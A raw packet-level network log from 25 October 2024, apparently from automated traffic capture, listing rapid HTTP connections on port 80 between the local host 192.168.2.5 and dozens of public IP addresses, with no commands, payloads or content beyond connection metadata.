Oct 25, 2024 11:17:34.146421909 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.146466970 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.161988020 CEST	52554	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:34.164335012 CEST	52550	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:34.166794062 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:17:34.167563915 CEST	80	52554	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:34.169768095 CEST	80	52550	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:34.172200918 CEST	80	52545	170.82.174.30	192.168.2.5
Oct 25, 2024 11:17:34.191525936 CEST	52553	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:17:34.192006111 CEST	52562	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:34.196938038 CEST	80	52553	139.59.171.124	192.168.2.5
Oct 25, 2024 11:17:34.197340965 CEST	80	52562	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:34.197448015 CEST	52562	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:34.198184967 CEST	52562	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:34.203773975 CEST	80	52562	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:34.271107912 CEST	52563	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:17:34.276591063 CEST	80	52563	104.21.88.198	192.168.2.5
Oct 25, 2024 11:17:34.276679039 CEST	52563	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:17:34.277029037 CEST	52563	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:17:34.282468081 CEST	80	52563	104.21.88.198	192.168.2.5
Oct 25, 2024 11:17:34.293000937 CEST	80	52550	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:34.293067932 CEST	52550	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:34.349384069 CEST	80	52557	13.248.252.114	192.168.2.5
Oct 25, 2024 11:17:34.349450111 CEST	52557	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:17:34.426779985 CEST	80	52553	139.59.171.124	192.168.2.5
Oct 25, 2024 11:17:34.427021027 CEST	52553	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:17:34.445010900 CEST	52566	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:17:34.450541019 CEST	80	52566	192.124.249.10	192.168.2.5
Oct 25, 2024 11:17:34.450622082 CEST	52566	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:17:34.450798988 CEST	52566	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:17:34.456060886 CEST	80	52566	192.124.249.10	192.168.2.5
Oct 25, 2024 11:17:34.505800009 CEST	80	52559	62.122.190.121	192.168.2.5
Oct 25, 2024 11:17:34.505954027 CEST	52559	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:17:34.514182091 CEST	80	52558	89.161.163.246	192.168.2.5
Oct 25, 2024 11:17:34.514245033 CEST	52558	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:17:34.514348030 CEST	80	52558	89.161.163.246	192.168.2.5
Oct 25, 2024 11:17:34.514400959 CEST	52558	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:17:34.531733036 CEST	52559	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:17:34.537360907 CEST	80	52559	62.122.190.121	192.168.2.5
Oct 25, 2024 11:17:34.564187050 CEST	52568	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:34.569581985 CEST	80	52568	34.218.204.173	192.168.2.5
Oct 25, 2024 11:17:34.569668055 CEST	52568	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:34.569847107 CEST	52568	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:34.575335979 CEST	80	52568	34.218.204.173	192.168.2.5
Oct 25, 2024 11:17:34.578581095 CEST	80	52545	170.82.174.30	192.168.2.5
Oct 25, 2024 11:17:34.578653097 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:17:34.579158068 CEST	80	52545	170.82.174.30	192.168.2.5
Oct 25, 2024 11:17:34.579308987 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:17:34.686983109 CEST	52569	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:17:34.692568064 CEST	80	52569	141.193.213.11	192.168.2.5
Oct 25, 2024 11:17:34.692687988 CEST	52569	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:17:34.692893982 CEST	52569	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:17:34.698663950 CEST	80	52569	141.193.213.11	192.168.2.5
Oct 25, 2024 11:17:34.737692118 CEST	52570	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:17:34.743263006 CEST	80	52570	172.67.173.200	192.168.2.5
Oct 25, 2024 11:17:34.743331909 CEST	52570	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:17:34.743486881 CEST	52570	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:17:34.749249935 CEST	80	52570	172.67.173.200	192.168.2.5
Oct 25, 2024 11:17:34.751678944 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.751737118 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.751739979 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.751775980 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.752619982 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.752664089 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.752665043 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.752679110 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.752706051 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.752739906 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.752760887 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.752775908 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.752793074 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.752808094 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.752820969 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.752821922 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.752852917 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.752895117 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.757141113 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.757168055 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.757328033 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.758007050 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.758115053 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.758148909 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.758184910 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.788014889 CEST	80	52559	62.122.190.121	192.168.2.5
Oct 25, 2024 11:17:34.788094997 CEST	52559	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:17:34.848784924 CEST	80	52562	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:34.848871946 CEST	52562	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:34.869095087 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.869124889 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.869142056 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.869265079 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.869271040 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.869282007 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.869311094 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.869347095 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.870099068 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870114088 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870137930 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870152950 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870170116 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870235920 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.870263100 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.870604038 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870630026 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870692968 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870708942 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870726109 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870732069 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.870743036 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.870774984 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.870812893 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.871454000 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.871500015 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.871515989 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.871556997 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.871572971 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.871586084 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.871611118 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.872356892 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.872421980 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.872437000 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.872487068 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.872524977 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.882356882 CEST	80	52562	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:34.882472038 CEST	52562	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:34.882528067 CEST	52562	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:34.887881994 CEST	80	52562	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:34.895231009 CEST	80	52563	104.21.88.198	192.168.2.5
Oct 25, 2024 11:17:34.895339012 CEST	52563	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:17:34.913288116 CEST	52571	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:17:34.919280052 CEST	80	52571	80.74.154.6	192.168.2.5
Oct 25, 2024 11:17:34.919363976 CEST	52571	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:17:34.920375109 CEST	52571	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:17:34.921293020 CEST	52563	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:17:34.925837994 CEST	80	52571	80.74.154.6	192.168.2.5
Oct 25, 2024 11:17:34.927395105 CEST	80	52563	104.21.88.198	192.168.2.5
Oct 25, 2024 11:17:34.964617014 CEST	52572	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:17:34.970009089 CEST	80	52572	185.80.51.179	192.168.2.5
Oct 25, 2024 11:17:34.970156908 CEST	52572	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:17:34.970366001 CEST	52572	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:17:34.975914955 CEST	80	52572	185.80.51.179	192.168.2.5
Oct 25, 2024 11:17:34.986080885 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986098051 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986113071 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986129045 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986259937 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986263990 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.986299992 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.986334085 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986344099 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.986357927 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986382008 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.986402035 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.986529112 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986556053 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986572981 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986588001 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.986686945 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.986711979 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.986984968 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987047911 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987062931 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987077951 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987137079 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.987174988 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.987474918 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987524033 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987575054 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987600088 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987621069 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.987662077 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.987701893 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987719059 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987734079 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.987746954 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.987812042 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.988313913 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.988331079 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.988347054 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.988363028 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.988379002 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.988394976 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.988411903 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.988468885 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.988509893 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.989212036 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.989315033 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.989331007 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.989346981 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.989362955 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.989372969 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.989378929 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.989394903 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.989434004 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.989481926 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.990153074 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.990169048 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.990185022 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.990200996 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.990217924 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.990232944 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.990250111 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.990288973 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.990322113 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.990982056 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.991014957 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.991031885 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.991107941 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.991123915 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.991137981 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.991179943 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.991689920 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.991705894 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.991722107 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:34.991822004 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:34.991856098 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.048551083 CEST	80	52563	104.21.88.198	192.168.2.5
Oct 25, 2024 11:17:35.048671961 CEST	52563	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:17:35.088283062 CEST	80	52566	192.124.249.10	192.168.2.5
Oct 25, 2024 11:17:35.088366032 CEST	52566	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:17:35.103756905 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.103779078 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.103795052 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.103811026 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.103836060 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.103914022 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.103931904 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.103957891 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.103960991 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.103972912 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.103988886 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104005098 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104022026 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104037046 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104038000 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104074001 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104116917 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104132891 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104161024 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104197025 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104228020 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104270935 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104336977 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104351997 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104367018 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104382992 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104408979 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104422092 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104437113 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104450941 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104465008 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104511976 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104553938 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104569912 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104583979 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104598045 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104600906 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104614019 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104628086 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104646921 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104650974 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104675055 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104688883 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104695082 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104702950 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104717970 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104722023 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104732990 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104748011 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104760885 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104763985 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104779005 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104794979 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104800940 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104809999 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104825020 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104832888 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104856968 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104856968 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104877949 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104881048 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104892969 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104909897 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:35.104918957 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.104962111 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:35.116966009 CEST	52574	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:17:35.118984938 CEST	52566	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:17:35.122512102 CEST	80	52574	60.43.154.138	192.168.2.5
Oct 25, 2024 11:17:35.122589111 CEST	52574	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:17:35.124459982 CEST	80	52566	192.124.249.10	192.168.2.5
Oct 25, 2024 11:17:35.131933928 CEST	52574	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:17:35.137475014 CEST	80	52574	60.43.154.138	192.168.2.5
Oct 25, 2024 11:17:35.264679909 CEST	80	52566	192.124.249.10	192.168.2.5
Oct 25, 2024 11:17:35.264868975 CEST	52566	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:17:35.265712976 CEST	52578	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:17:35.271066904 CEST	80	52578	198.185.159.144	192.168.2.5
Oct 25, 2024 11:17:35.271146059 CEST	52578	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:17:35.271370888 CEST	52578	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:17:35.277343035 CEST	80	52578	198.185.159.144	192.168.2.5
Oct 25, 2024 11:17:35.345912933 CEST	80	52569	141.193.213.11	192.168.2.5
Oct 25, 2024 11:17:35.347451925 CEST	52569	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:17:35.353585005 CEST	52579	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:17:35.355077982 CEST	52580	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:17:35.358306885 CEST	80	52570	172.67.173.200	192.168.2.5
Oct 25, 2024 11:17:35.358371973 CEST	52570	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:17:35.359095097 CEST	80	52579	192.252.154.18	192.168.2.5
Oct 25, 2024 11:17:35.359231949 CEST	52579	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:17:35.359386921 CEST	52579	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:17:35.360693932 CEST	80	52580	188.165.133.163	192.168.2.5
Oct 25, 2024 11:17:35.360771894 CEST	52580	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:17:35.361174107 CEST	52580	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:17:35.364794970 CEST	80	52579	192.252.154.18	192.168.2.5
Oct 25, 2024 11:17:35.366703987 CEST	80	52580	188.165.133.163	192.168.2.5
Oct 25, 2024 11:17:35.366724014 CEST	52569	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:17:35.372258902 CEST	80	52569	141.193.213.11	192.168.2.5
Oct 25, 2024 11:17:35.378930092 CEST	52570	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:17:35.384469032 CEST	80	52570	172.67.173.200	192.168.2.5
Oct 25, 2024 11:17:35.405256033 CEST	80	52568	34.218.204.173	192.168.2.5
Oct 25, 2024 11:17:35.405416012 CEST	52568	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:35.405817986 CEST	52568	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:35.411736965 CEST	80	52568	34.218.204.173	192.168.2.5
Oct 25, 2024 11:17:35.411803961 CEST	52568	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:35.509758949 CEST	80	52570	172.67.173.200	192.168.2.5
Oct 25, 2024 11:17:35.509850025 CEST	52570	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:17:35.513710022 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:17:35.519766092 CEST	80	52582	135.181.73.98	192.168.2.5
Oct 25, 2024 11:17:35.519844055 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:17:35.520190954 CEST	52582	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:17:35.525768995 CEST	80	52582	135.181.73.98	192.168.2.5
Oct 25, 2024 11:17:35.534410954 CEST	80	52569	141.193.213.11	192.168.2.5
Oct 25, 2024 11:17:35.534471989 CEST	52569	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:17:35.599291086 CEST	52583	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:17:35.604764938 CEST	80	52583	69.163.239.62	192.168.2.5
